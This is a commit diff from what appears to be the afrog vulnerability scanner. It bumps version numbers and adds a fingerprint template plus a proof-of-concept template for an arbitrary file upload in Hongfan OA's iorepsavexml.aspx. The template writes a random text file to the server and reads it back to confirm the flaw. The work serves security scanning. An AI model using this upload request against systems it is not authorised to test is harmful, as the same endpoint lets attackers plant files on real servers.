update

zan8in · Jul 12, 2023 · 4cb8ae5 · 4cb8ae5
1 parent bbe90e1
commit 4cb8ae5
Show file tree

Hide file tree

Showing 7 changed files with 54 additions and 4 deletions.
diff --git a/pkg/config/banner.go b/pkg/config/banner.go
@@ -8,7 +8,7 @@ import (
 	"github.com/zan8in/gologger"
 )
 
-const Version = "2.7.1"
+const Version = "2.7.2"
 
 func InitBanner() {
 	fmt.Printf("\r\n|\tA F 🐸 O G\t|")

diff --git a/pocs/afrog-pocs/fingerprinting/newcapec-detect.yaml b/pocs/afrog-pocs/fingerprinting/newcapec-detect.yaml
@@ -0,0 +1,19 @@
+id: newcapec-detect
+
+info:
+  name: 掌上校园服务管理平台
+  author: zan8in
+  severity: info
+  verified: true
+  description: |
+    FOFA: icon_hash="-1278128358"
+  tags: newcapec,fingerprint
+  created: 2023/07/12
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /login.action
+    expression: response.status == 200 && response.body.ibcontains(b'<title>掌上校园服务管理平台</title>')
+expression: r0()
diff --git a/pocs/afrog-pocs/vulnerability/hongfan-oa-iorepsavexml-file-upload.yaml b/pocs/afrog-pocs/vulnerability/hongfan-oa-iorepsavexml-file-upload.yaml
@@ -0,0 +1,31 @@
+id: hongfan-oa-iorepsavexml-file-upload
+
+info:
+  name: 红帆OA iorepsavexml.aspx 任意文件上传
+  author: Observer
+  severity: critical
+  verified: true
+  description: |
+    FOFA: app="红帆-ioffice"
+  reference:
+    - https://github.com/FridaZhbk/pocscan/blob/ee0c74e68ec95b82a4e4ebcdb961d6ed18a44b77/%E7%BA%A2%E5%B8%86/oa%E7%BA%A2%E5%B8%86ioAssistance.asmx%E6%B3%A8%E5%85%A5RCE.py#L47
+  tags: hongfan,oa,rce
+  created: 2023/06/25
+
+set:
+  randstr: randomLowercase(10)
+  randbody: randomLowercase(32)
+rules:
+  r0:
+    request:
+      method: POST
+      path: /iOffice/prg/set/report/iorepsavexml.aspx?key=writefile&filename={{randstr}}.txt&filepath=/upfiles/rep/pic/
+      body: |
+        {{randbody}}
+    expression: response.status == 200
+  r1:
+    request:
+      method: GET
+      path: /iOffice/upfiles/rep/pic/{{randstr}}.txt
+    expression: response.status == 200  && response.body.bcontains(bytes(randbody))
+expression: r0() && r1()
diff --git a/pocs/temp/afrog-pocs/version b/pocs/temp/afrog-pocs/version
@@ -1 +1 @@
-0.2.22
+0.2.23
diff --git a/pocs/v/afrog-pocs.zip b/pocs/v/afrog-pocs.zip
diff --git a/pocs/v/afrog.version b/pocs/v/afrog.version
@@ -1 +1 @@
-2.7.1
+2.7.2
diff --git a/pocs/v/version b/pocs/v/version
@@ -1 +1 @@
-0.2.22
+0.2.23